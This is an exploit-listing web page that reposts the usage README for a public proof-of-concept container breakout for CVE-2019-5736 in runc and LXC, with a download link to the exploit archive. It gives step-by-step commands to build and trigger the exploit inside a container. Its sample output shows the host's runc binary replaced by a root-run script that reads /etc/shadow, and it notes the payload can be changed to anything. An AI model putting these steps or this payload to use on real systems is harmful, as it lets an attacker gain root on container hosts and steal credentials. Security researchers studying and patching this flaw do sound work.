runc < 1.0rc6 (docker < 18.09.2) container breakout (2)

▸▸▸ Exploit & Vulnerability >>   local exploit & linux vulnerability




runc < 1.0rc6 (docker < 18.09.2) container breakout (2) Code Code...
				
## CVE-2019-5736 ## This is exploit code for CVE-2019-5736 (and it works for both runc and LXC). The simplest way to use it is to copy the exploit code into an existing container, and run `make.sh`. However, you could just as easily create a bad image and run that. ```console % docker run --rm --name pwnme -dit ubuntu:18.10 bash pwnme % docker cp CVE-2019-5736.tar pwnme:/CVE-2019-5736.tar ``` We need to install `gcc` to build the exploit, and `runc` because we need to have the shared libraries that `runc` would use. We don't actually use the `runc` binary itself. For LXC, you would install `lxc` instead of `runc`. ```console % docker attach pwnme # apt-get update && apt-get install -y gcc runc [ snip ] # tar xf CVE-2019-5736.tar # ./CVE-2019-5736/make.sh ``` And now, `/bin/bash` in the container will be able to **overwrite the host runc binary**. Since this binary is often executed by `root`, this allows for root-level code execution on the host. ``` % docker exec -it pwnme /bin/bash [+] bad_libseccomp.so booted. [+] opened ro /proc/self/exe <3>. [+] constructed fdpath </proc/self/fd/3> [+] bad_init is ready -- see </tmp/bad_init_log> for logs. [*] dying to allow /proc/self/exe to be unused... % cat /usr/sbin/docker-runc #!/bin/bash touch /w00t_w00t ; cat /etc/shadow ``` And now if you try to use Docker normally, the malicious script will execute with root privileges: ``` % docker exec -it pwnme /bin/good_bash OCI runtime state failed: invalid character 'b' looking for beginning of value: unknown % file /w00t_w00t /w00t_w00t: empty ``` And obviously `make.sh` can be modified to make the evil path anything you like. If you want to get access to the container, use `/bin/good_bash`. ### License ### ``` Copyright (C) 2019 Aleksa Sarai <cyphar@cyphar.com> Vulnerability discovered by Adam Iwaniuk and Borys Popławski. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46369.zip

Runc < 1.0rc6 (docker < 18.09.2) container breakout (2) Vulnerability / Exploit Source : Runc < 1.0rc6 (docker < 18.09.2) container breakout (2)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.